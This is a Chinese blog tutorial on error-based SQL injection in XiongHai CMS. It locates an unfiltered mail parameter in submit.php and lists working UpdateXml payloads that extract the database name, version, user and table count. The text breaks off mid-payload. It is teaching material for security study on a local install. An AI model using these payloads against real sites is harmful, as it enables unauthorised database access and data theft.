熊海CMS报错注入

本文详细介绍了SQL注入中的报错注入方法,包括利用UpdateXml和ExtractValue函数获取数据库信息。同时,通过实例演示了如何使用Burpsuite和sqlmap进行爆破表名,并解决在实践中遇到的报错、调试和乱码问题。最后,讨论了updatexml和extractvalue函数的工作原理及在注入中的应用。

前言


        记上次的熊海CMS代码审计后,这周z男十三年给学弟们讲了sql注入的报错注入,期间遇到了不少坑,欢迎阅读这篇文章的师傅们一起探讨学习。


分析过程


0x01.注入点源码分析


        1、首先要装一个熊海cms的网站在本机上,并完成配置(要关闭魔术引号)。点击“联系”,并拉到最下面“发表留言”处。
在这里插入图片描述
        2、用RIPS对整个网站的根目录进行扫描,发现submit.php 文件下存在SQL报错注入,即存在报错提示,由此定位到文件 /files/submit.php (注意不要定位到/admin/files 这是后台的文件目录)
在这里插入图片描述
        3、运用 phpstorm 阅读文件源码
在这里插入图片描述
        4、发现只有 $type 参数进行了过滤,其他参数都是直接传递,但这时候一定要注意可能会引入些文件进行过滤(例如waf文件),以防万一也可以打开 inc 下的 conn.php 看看。
在这里插入图片描述
        5、可以看出前面的代码都没有对 name、mail、url 等参数进行过滤。

        6、找到数据库插入的地方(找一个SELECT语句),发现 $mail 参数会直接传递给数据库,由此我们就可以对这下手,在邮箱后面进行sql报错注入的操作
在这里插入图片描述

0x02.报错注入的利用方法

        通过构造错误的xml格式获取到数据库内容

1.UpdateXml

#获取数据库

') or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

#获取数据库版本信息

') or updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--+

#获取用户

') or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--+

#获取表数量

') or updatexml(1,concat(0x7e,(SELECT count(table_name) from
 information_schema.tables where table_schema=database()),
 0x7e),1)--+

#获取表数据

') or updatexml(1,concat(0x7e,(SE

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值